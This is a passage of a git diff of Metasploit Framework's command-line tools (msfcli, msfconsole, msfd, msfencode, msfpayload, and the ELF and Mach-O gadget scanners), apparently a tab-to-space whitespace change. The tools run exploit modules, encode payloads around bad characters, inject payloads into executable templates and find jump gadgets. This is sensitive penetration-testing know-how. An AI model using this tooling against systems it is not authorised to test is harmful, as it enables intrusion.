Msf::Ui::Console::Driver::DefaultPromptChar, + { + 'Framework' => @framework, + # When I use msfcli, chances are I want speed, so ASCII art fanciness + # probably isn't much of a big deal for me. + 'DisableBanner' => true + }) + + module_class = (m[:module].fullname =~ /^auxiliary/ ? 'auxiliary' : 'exploit') + + con.run_single("use #{module_class}/#{m[:module].refname}") + + # Assign console parameters + @args[:params].each do |arg| + k,v = arg.split("=", 2) + con.run_single("set #{k} #{v}") + end + + # Run the exploit + con.run_single("exploit") + + # If we have sessions or jobs, keep running + if @framework.sessions.length > 0 or @framework.jobs.length > 0 + con.run + else + con.run_single("quit") + end + end + + + # + # Selects a mode chosen by the user and run it + # + def engage_mode(modules) + case @args[:mode].downcase + when 'h' + usage + when "s" + show_summary(modules) + when "o" + show_options(modules) + when "a" + show_advanced(modules) + when "i" + show_ids_evasion(modules) + when "p" + if modules[:module].file_path =~ /auxiliary\//i + $stdout.puts("\nError: This type of module does not support payloads") + else + show_payloads(modules) + end + when "t" + puts + if modules[:module].file_path =~ /auxiliary\//i + $stdout.puts("\nError: This type of module does not support targets") + else + show_targets(modules) + end + when "ac" + if modules[:module].file_path =~ /auxiliary\//i + show_actions(modules) + else + $stdout.puts("\nError: This type of module does not support actions") + end + when "c" + show_check(modules) + when "e" + execute_module(modules) + else + usage("Invalid mode #{@args[:mode]}") + end + end + + + def run! + if @args[:module_name] == "-h" + usage() + exit + end + + $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + require 'fastlib' + require 'msfenv' + require 'msf/ui' + require 'msf/base' + + if @args[:module_name].nil? + ext = dump_module_list + usage(nil, ext) + exit + end + + begin + modules = init_modules + rescue Rex::ArgumentParseError => e + puts "[!] Error: #{e.message}\n\n" + exit + end + + if modules[:module].nil? + usage("Invalid module: #{@args[:module_name]}") + exit + end + + # Process special var/val pairs... + Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) + + engage_mode(modules) + $stdout.puts + end end if __FILE__ == $PROGRAM_NAME - cli = Msfcli.new(ARGV) - cli.run! + cli = Msfcli.new(ARGV) + cli.run! end diff --git a/msfconsole b/msfconsole index 86b79265cb..8a9b079156 100755 --- a/msfconsole +++ b/msfconsole @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end @msfbase_dir = File.expand_path(File.dirname(msfbase)) @@ -25,126 +25,126 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'optparse' if(RUBY_PLATFORM =~ /mswin32/) - $stderr.puts "[*] The msfconsole interface is not supported on the native Windows Ruby\n" - $stderr.puts " interpreter. Things will break, exploits will fail, payloads will not\n" - $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" + $stderr.puts "[*] The msfconsole interface is not supported on the native Windows Ruby\n" + $stderr.puts " interpreter. Things will break, exploits will fail, payloads will not\n" + $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" end def is_svn - File.directory?(File.join(@msfbase_dir, ".svn")) + File.directory?(File.join(@msfbase_dir, ".svn")) end def print_deprecation_warning - $stdout.puts "" - $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" - $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" - $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," - $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" - $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" - $stdout.puts "[-] " - $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" - $stdout.puts "" + $stdout.puts "" + $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" + $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" + $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," + $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" + $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" + $stdout.puts "[-] " + $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" + $stdout.puts "" end if is_svn - print_deprecation_warning + print_deprecation_warning end class OptsConsole - # - # Return a hash describing the options. - # - def self.parse(args) - options = { - 'DeferModuleLoads' => true - } + # + # Return a hash describing the options. + # + def self.parse(args) + options = { + 'DeferModuleLoads' => true + } - opts = OptionParser.new do |opts| - opts.banner = "Usage: msfconsole [options]" + opts = OptionParser.new do |opts| + opts.banner = "Usage: msfconsole [options]" - opts.separator "" - opts.separator "Specific options:" + opts.separator "" + opts.separator "Specific options:" - opts.on("-d", "-d", "Execute the console as defanged") do - options['Defanged'] = true - end + opts.on("-d", "-d", "Execute the console as defanged") do + options['Defanged'] = true + end - opts.on("-r", "-r <filename>", "Execute the specified resource file") do |r| - options['Resource'] ||= [] - options['Resource'] << r - end + opts.on("-r", "-r <filename>", "Execute the specified resource file") do |r| + options['Resource'] ||= [] + options['Resource'] << r + end - opts.on("-o", "-o <filename>", "Output to the specified file") do |o| - options['LocalOutput'] = o - end + opts.on("-o", "-o <filename>", "Output to the specified file") do |o| + options['LocalOutput'] = o + end - opts.on("-c", "-c <filename>", "Load the specified configuration file") do |c| - options['Config'] = c - end + opts.on("-c", "-c <filename>", "Load the specified configuration file") do |c| + options['Config'] = c + end - opts.on("-m", "-m <directory>", "Specifies an additional module search path") do |m| - options['ModulePath'] = m - end + opts.on("-m", "-m <directory>", "Specifies an additional module search path") do |m| + options['ModulePath'] = m + end - opts.on("-p", "-p <plugin>", "Load a plugin on startup") do |p| - options['Plugins'] ||= [] - options['Plugins'] << p - end + opts.on("-p", "-p <plugin>", "Load a plugin on startup") do |p| + options['Plugins'] ||= [] + options['Plugins'] << p + end - opts.on("-y", "--yaml <database.yml>", "Specify a YAML file containing database settings") do |m| - options['DatabaseYAML'] = m - end + opts.on("-y", "--yaml <database.yml>", "Specify a YAML file containing database settings") do |m| + options['DatabaseYAML'] = m + end - opts.on("-M", "--migration-path <dir>", "Specify a directory containing additional DB migrations") do |m| - options['DatabaseMigrationPaths'] ||= [] - options['DatabaseMigrationPaths'] << m - end + opts.on("-M", "--migration-path <dir>", "Specify a directory containing additional DB migrations") do |m| + options['DatabaseMigrationPaths'] ||= [] + options['DatabaseMigrationPaths'] << m + end - opts.on("-e", "--environment <production|development>", "Specify the database environment to load from the YAML") do |m| - options['DatabaseEnv'] = m - end + opts.on("-e", "--environment <production|development>", "Specify the database environment to load from the YAML") do |m| + options['DatabaseEnv'] = m + end - # Boolean switches - opts.on("-v", "--version", "Show version") do |v| - options['Version'] = true - end + # Boolean switches + opts.on("-v", "--version", "Show version") do |v| + options['Version'] = true + end - opts.on("-L", "--real-readline", "Use the system Readline library instead of RbReadline") do |v| - options['RealReadline'] = true - end + opts.on("-L", "--real-readline", "Use the system Readline library instead of RbReadline") do |v| + options['RealReadline'] = true + end - opts.on("-n", "--no-database", "Disable database support") do |v| - options['DisableDatabase'] = true - end + opts.on("-n", "--no-database", "Disable database support") do |v| + options['DisableDatabase'] = true + end - opts.on("-q", "--quiet", "Do not print the banner on start up") do |v| - options['DisableBanner'] = true - end + opts.on("-q", "--quiet", "Do not print the banner on start up") do |v| + options['DisableBanner'] = true + end - opts.on("-x", "-x <command>", "Execute the specified string as console commands (use ; for multiples)") do |s| - options['XCommands'] ||= [] - options['XCommands'] += s.split(/\s*;\s*/) - end + opts.on("-x", "-x <command>", "Execute the specified string as console commands (use ; for multiples)") do |s| + options['XCommands'] ||= [] + options['XCommands'] += s.split(/\s*;\s*/) + end - opts.separator "" - opts.separator "Common options:" + opts.separator "" + opts.separator "Common options:" - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end + opts.on_tail("-h", "--help", "Show this message") do + puts opts + exit + end + end - begin - opts.parse!(args) - rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit - end + begin + opts.parse!(args) + rescue OptionParser::InvalidOption + puts "Invalid option, try -h for usage" + exit + end - options - end + options + end end options = OptsConsole.parse(ARGV) @@ -161,15 +161,15 @@ require 'msf/ui' # if (options['Version']) - $stderr.puts 'Framework Version: ' + Msf::Framework::Version - exit + $stderr.puts 'Framework Version: ' + Msf::Framework::Version + exit end begin - Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - options - ).run + Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + options + ).run rescue Interrupt end diff --git a/msfd b/msfd index 411a134b04..1852435cab 100755 --- a/msfd +++ b/msfd @@ -13,7 +13,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -29,52 +29,52 @@ require 'msf/ui' # Declare the argument parser for msfd arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Bind to this IP address instead of loopback" ], - "-p" => [ true, "Bind to this port instead of 55554" ], - "-s" => [ false, "Use SSL" ], - "-f" => [ false, "Run the daemon in the foreground" ], - "-A" => [ true, "Specify list of hosts allowed to connect" ], - "-D" => [ true, "Specify list of hosts not allowed to connect" ], - "-h" => [ false, "Help banner" ]) + "-a" => [ true, "Bind to this IP address instead of loopback" ], + "-p" => [ true, "Bind to this port instead of 55554" ], + "-s" => [ false, "Use SSL" ], + "-f" => [ false, "Run the daemon in the foreground" ], + "-A" => [ true, "Specify list of hosts allowed to connect" ], + "-D" => [ true, "Specify list of hosts not allowed to connect" ], + "-h" => [ false, "Help banner" ]) opts = { 'RunInForeground' => true } foreground = false # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-p" - opts['ServerPort'] = val - when "-f" - foreground = true - when "-s" - opts['SSL'] = true - when "-A" - begin - opts['HostsAllowed'] = val.split(',').map { |a| - Rex::Socket.resolv_nbo(a) - } - rescue - $stderr.puts "Bad argument for -A: #{$!}" - exit - end - when "-D" - begin - opts['HostsDenied'] = val.split(',').map { |a| - Rex::Socket.resolv_nbo(a) - } - rescue - $stderr.puts "Bad argument for -D: #{$!}" - exit - end - when "-h" - print( - "\nUsage: #{File.basename(__FILE__)} <options>\n" + - arguments.usage) - exit - end + case opt + when "-a" + opts['ServerHost'] = val + when "-p" + opts['ServerPort'] = val + when "-f" + foreground = true + when "-s" + opts['SSL'] = true + when "-A" + begin + opts['HostsAllowed'] = val.split(',').map { |a| + Rex::Socket.resolv_nbo(a) + } + rescue + $stderr.puts "Bad argument for -A: #{$!}" + exit + end + when "-D" + begin + opts['HostsDenied'] = val.split(',').map { |a| + Rex::Socket.resolv_nbo(a) + } + rescue + $stderr.puts "Bad argument for -D: #{$!}" + exit + end + when "-h" + print( + "\nUsage: #{File.basename(__FILE__)} <options>\n" + + arguments.usage) + exit + end } $stderr.puts "[*] Initializing msfd..." @@ -84,11 +84,11 @@ $stderr.puts "[*] Running msfd..." # Fork into the background if requested begin - if (not foreground) - exit(0) if Process.fork() - end + if (not foreground) + exit(0) if Process.fork() + end rescue ::NotImplementedError - $stderr.puts "[-] Background mode is not available on this platform" + $stderr.puts "[-] Background mode is not available on this platform" end # Create an instance of the framework diff --git a/msfelfscan b/msfelfscan index b4714307bb..fcbe9eeb35 100755 --- a/msfelfscan +++ b/msfelfscan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -24,7 +24,7 @@ require 'rex/arch/x86' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opt = OptionParser.new @@ -37,96 +37,96 @@ worker = nil param = {} opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::ElfScan::Scanner::JmpRegScanner - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + worker = Rex::ElfScan::Scanner::JmpRegScanner + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::ElfScan::Scanner::PopPopRetScanner - param['args'] = t + worker = Rex::ElfScan::Scanner::PopPopRetScanner + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::ElfScan::Scanner::RegexScanner - param['args'] = t + worker = Rex::ElfScan::Scanner::RegexScanner + param['args'] = t end opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address') do |t| - worker = Rex::ElfScan::Search::DumpRVA - param['args'] = opt2i(t) + worker = Rex::ElfScan::Search::DumpRVA + param['args'] = opt2i(t) end opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset') do |t| - worker = Rex::ElfScan::Search::DumpOffset - param['args'] = opt2i(t) + worker = Rex::ElfScan::Search::DumpOffset + param['args'] = opt2i(t) end opt.separator('') opt.separator('Options:') opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if (! worker) - puts opt - exit(1) + puts opt + exit(1) end ARGV.each do |file| - param['file'] = file + param['file'] = file - begin - elf = Rex::ElfParsey::Elf.new_from_file(file, true) - rescue Rex::ElfParsey::ElfHeaderError - if $!.message == 'Invalid magic number' - $stderr.puts("Skipping #{file}: #{$!}") - next - end - raise $! - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end + begin + elf = Rex::ElfParsey::Elf.new_from_file(file, true) + rescue Rex::ElfParsey::ElfHeaderError + if $!.message == 'Invalid magic number' + $stderr.puts("Skipping #{file}: #{$!}") + next + end + raise $! + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end - if (param['imagebase']) - elf.base_addr = param['imagebase']; - end + if (param['imagebase']) + elf.base_addr = param['imagebase']; + end - o = worker.new(elf) - o.scan(param) + o = worker.new(elf) + o.scan(param) - elf.close + elf.close end diff --git a/msfencode b/msfencode index a147a1209a..33d6fc8e10 100755 --- a/msfencode +++ b/msfencode @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -29,89 +29,89 @@ OutError = "[-] " supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats $args = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-l" => [ false, "List available encoders" ], - "-v" => [ false, "Increase verbosity" ], - # input/output - "-i" => [ true, "Encode the contents of the supplied file path" ], - "-m" => [ true, "Specifies an additional module search path" ], - "-o" => [ true, "The output file" ], - # architecture/platform - "-a" => [ true, "The architecture to encode as" ], - "-p" => [ true, "The platform to encode for" ], - # format options - "-t" => [ true, "The output format: #{supported_formats.join(',')}" ], - # encoder options - "-e" => [ true, "The encoder to use" ], - "-n" => [ false, "Dump encoder information" ], - "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], - "-s" => [ true, "The maximum size of the encoded data" ], - "-c" => [ true, "The number of times to encode the data" ], - # EXE generation options - "-d" => [ true, "Specify the directory in which to look for EXE templates" ], - "-x" => [ true, "Specify an alternate executable template" ], - "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ] + "-h" => [ false, "Help banner" ], + "-l" => [ false, "List available encoders" ], + "-v" => [ false, "Increase verbosity" ], + # input/output + "-i" => [ true, "Encode the contents of the supplied file path" ], + "-m" => [ true, "Specifies an additional module search path" ], + "-o" => [ true, "The output file" ], + # architecture/platform + "-a" => [ true, "The architecture to encode as" ], + "-p" => [ true, "The platform to encode for" ], + # format options + "-t" => [ true, "The output format: #{supported_formats.join(',')}" ], + # encoder options + "-e" => [ true, "The encoder to use" ], + "-n" => [ false, "Dump encoder information" ], + "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], + "-s" => [ true, "The maximum size of the encoded data" ], + "-c" => [ true, "The number of times to encode the data" ], + # EXE generation options + "-d" => [ true, "Specify the directory in which to look for EXE templates" ], + "-x" => [ true, "Specify an alternate executable template" ], + "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ] ) # # Dump the list of encoders # def dump_encoders(arch = nil) - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : ""), - 'Columns' => - [ - "Name", - "Rank", - "Description" - ]) - cnt = 0 + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : ""), + 'Columns' => + [ + "Name", + "Rank", + "Description" + ]) + cnt = 0 - $framework.encoders.each_module( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - tbl << [ name, mod.rank_to_s, mod.new.name ] + $framework.encoders.each_module( + 'Arch' => arch ? arch.split(',') : nil) { |name, mod| + tbl << [ name, mod.rank_to_s, mod.new.name ] - cnt += 1 - } + cnt += 1 + } - (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n" + (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n" end # # Returns the list of encoders to try # def get_encoders(arch, encoder) - encoders = [] + encoders = [] - if (encoder) - encoders << $framework.encoders.create(encoder) - else - $framework.encoders.each_module_ranked( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - encoders << mod.new - } - end + if (encoder) + encoders << $framework.encoders.create(encoder) + else + $framework.encoders.each_module_ranked( + 'Arch' => arch ? arch.split(',') : nil) { |name, mod| + encoders << mod.new + } + end - encoders + encoders end # # Nuff said. # def usage - $stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage) - exit + $stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage) + exit end def write_encoded(buf) - if (not $output) - $stdout.write(buf) - else - File.open($output, "wb") do |fd| - fd.write(buf) - end - end + if (not $output) + $stdout.write(buf) + else + File.open($output, "wb") do |fd| + fd.write(buf) + end + end end # Defaults @@ -135,84 +135,84 @@ exedir = nil # use default # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| - case opt - when "-i" - begin - input = File.open(val, 'rb') - rescue - $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") - exit - end - when "-m" - $framework.modules.add_module_path(val) - when "-l" - cmd = "list" - when "-n" - cmd = "dump" - when "-a" - arch = val - when "-c" - ecount = val.to_i - when "-b" - badchars = Rex::Text.hex_to_raw(val) - when "-p" - plat = Msf::Module::PlatformList.transform(val) - when "-s" - space = val.to_i - when "-t" - if supported_formats.include?(val) - fmt = val - else - $stderr.puts(OutError + "Invalid format: #{val}") - exit - end - when "-o" - $output = val - when "-e" - encoder = val + case opt + when "-i" + begin + input = File.open(val, 'rb') + rescue + $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") + exit + end + when "-m" + $framework.modules.add_module_path(val) + when "-l" + cmd = "list" + when "-n" + cmd = "dump" + when "-a" + arch = val + when "-c" + ecount = val.to_i + when "-b" + badchars = Rex::Text.hex_to_raw(val) + when "-p" + plat = Msf::Module::PlatformList.transform(val) + when "-s" + space = val.to_i + when "-t" + if supported_formats.include?(val) + fmt = val + else + $stderr.puts(OutError + "Invalid format: #{val}") + exit + end + when "-o" + $output = val + when "-e" + encoder = val - when "-d" - exedir = val - when "-x" - altexe = val - when "-k" - inject = true + when "-d" + exedir = val + when "-x" + altexe = val + when "-k" + inject = true - when "-h" - usage + when "-h" + usage - when "-v" - verbose += 1 + when "-v" + verbose += 1 - else - if (val =~ /=/) - options += ((options.length > 0) ? delim : "") + "#{val}" - end - end + else + if (val =~ /=/) + options += ((options.length > 0) ? delim : "") + "#{val}" + end + end } if(not fmt and output) - pre,ext = output.split('.') - if(ext and not ext.empty?) - fmt = ext - end + pre,ext = output.split('.') + if(ext and not ext.empty?) + fmt = ext + end end if inject and not altexe - $stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies." - exit(1) + $stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies." + exit(1) end exeopts = { - :inject => inject, - :template => altexe, - :template_path => exedir + :inject => inject, + :template => altexe, + :template_path => exedir } # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ], - 'DisableDatabase' => true + :module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ], + 'DisableDatabase' => true ) # Get the list of encoders to try @@ -220,81 +220,81 @@ encoders = get_encoders(arch, encoder) # Process the actual command case cmd - when "list" - $stderr.puts(dump_encoders(arch)) - when "dump" - enc = encoder ? $framework.encoders.create(encoder) : nil + when "list" + $stderr.puts(dump_encoders(arch)) + when "dump" + enc = encoder ? $framework.encoders.create(encoder) : nil - if (enc) - $stderr.puts(Msf::Serializer::ReadableText.dump_module(enc)) - else - $stderr.puts(OutError + "Invalid encoder specified.") - end - when "encode" - input.binmode # ensure its in binary mode - buf = input.read + if (enc) + $stderr.puts(Msf::Serializer::ReadableText.dump_module(enc)) + else + $stderr.puts(OutError + "Invalid encoder specified.") + end + when "encode" + input.binmode # ensure its in binary mode + buf = input.read - encoders.each { |enc| - next if not enc - begin - # Imports options - enc.datastore.import_options_from_s(options, delim) + encoders.each { |enc| + next if not enc + begin + # Imports options + enc.datastore.import_options_from_s(options, delim) - skip = false - eout = buf.dup - raw = nil + skip = false + eout = buf.dup + raw = nil - 1.upto(ecount) do |iteration| + 1.upto(ecount) do |iteration| - # Encode it up - raw = enc.encode(eout, badchars, nil, plat) + # Encode it up + raw = enc.encode(eout, badchars, nil, plat) - # Is it too big? - if (space and space > 0 and raw.length > space) - $stderr.puts(OutError + "#{enc.refname} created buffer that is too big (#{raw.length})") - skip = true - break - end + # Is it too big? + if (space and space > 0 and raw.length > space) + $stderr.puts(OutError + "#{enc.refname} created buffer that is too big (#{raw.length})") + skip = true + break + end - # Print it out - $stderr.puts(OutStatus + "#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n\n") - eout = raw - end + # Print it out + $stderr.puts(OutStatus + "#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n\n") + eout = raw + end - next if skip + next if skip - output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts) + output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts) - if not output - fmt ||= "ruby" - output = Msf::Simple::Buffer.transform(raw, fmt) - end + if not output + fmt ||= "ruby" + output = Msf::Simple::Buffer.transform(raw, fmt) + end - if exeopts[:fellback] - $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") - end + if exeopts[:fellback] + $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") + end - write_encoded(output) + write_encoded(output) - exit + exit - # - # These exception codes are fatal, we shouldn't expect them to succeed on the next - # iteration, nor the next encoder. - # - rescue ::Errno::ENOENT, ::Errno::EINVAL - $stderr.puts(OutError + "#{enc.refname} failed: #{$!}") - break + # + # These exception codes are fatal, we shouldn't expect them to succeed on the next + # iteration, nor the next encoder. + # + rescue ::Errno::ENOENT, ::Errno::EINVAL + $stderr.puts(OutError + "#{enc.refname} failed: #{$!}") + break - rescue => e - $stderr.puts(OutError + "#{enc.refname} failed: #{e}") - if verbose > 0 - e.backtrace.each { |el| - $stderr.puts(OutError + el.to_s) - } - end - end - } + rescue => e + $stderr.puts(OutError + "#{enc.refname} failed: #{e}") + if verbose > 0 + e.backtrace.each { |el| + $stderr.puts(OutError + el.to_s) + } + end + end + } - $stderr.puts(OutError + "No encoders succeeded.") + $stderr.puts(OutError + "No encoders succeeded.") end diff --git a/msfmachscan b/msfmachscan index b3b7701f43..9669982207 100755 --- a/msfmachscan +++ b/msfmachscan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -25,7 +25,7 @@ require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opt = OptionParser.new @@ -38,80 +38,80 @@ worker = nil param = {} opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::MachScan::Scanner::JmpRegScanner - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + worker = Rex::MachScan::Scanner::JmpRegScanner + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::MachScan::Scanner::PopPopRetScanner - param['args'] = t + worker = Rex::MachScan::Scanner::PopPopRetScanner + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::MachScan::Scanner::RegexScanner - param['args'] = t + worker = Rex::MachScan::Scanner::RegexScanner + param['args'] = t end opt.separator('') opt.separator('Options:') opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if (! worker) - puts opt - exit(1) + puts opt + exit(1) end ARGV.each do |file| - param['file'] = file + param['file'] = file - begin - mach = Rex::MachParsey::Mach.new_from_file(file, true) - o = worker.new(mach) - o.scan(param) - mach.close - rescue Rex::MachParsey::MachHeaderError - $stderr.puts("File is not a Mach-O binary, trying Fat..\n") - fat = Rex::MachParsey::Fat.new_from_file(file, true) - o = worker.new(fat) - o.scan(param) - fat.close - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end + begin + mach = Rex::MachParsey::Mach.new_from_file(file, true) + o = worker.new(mach) + o.scan(param) + mach.close + rescue Rex::MachParsey::MachHeaderError + $stderr.puts("File is not a Mach-O binary, trying Fat..\n") + fat = Rex::MachParsey::Fat.new_from_file(file, true) + o = worker.new(fat) + o.scan(param) + fat.close + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end end diff --git a/msfpayload b/msfpayload index 7dfb20caee..62e41e01e3 100755 --- a/msfpayload +++ b/msfpayload @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -21,18 +21,18 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' $args = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-l" => [ false, "List available payloads" ] + "-h" => [ false, "Help banner" ], + "-l" => [ false, "List available payloads" ] ) # # Nuff said. # def usage - $stderr.puts("\n" + - " Usage: #{$0} [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>\n" + - $args.usage) - exit + $stderr.puts("\n" + + " Usage: #{$0} [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>\n" + + $args.usage) + exit end cmd = nil @@ -40,22 +40,22 @@ rest = 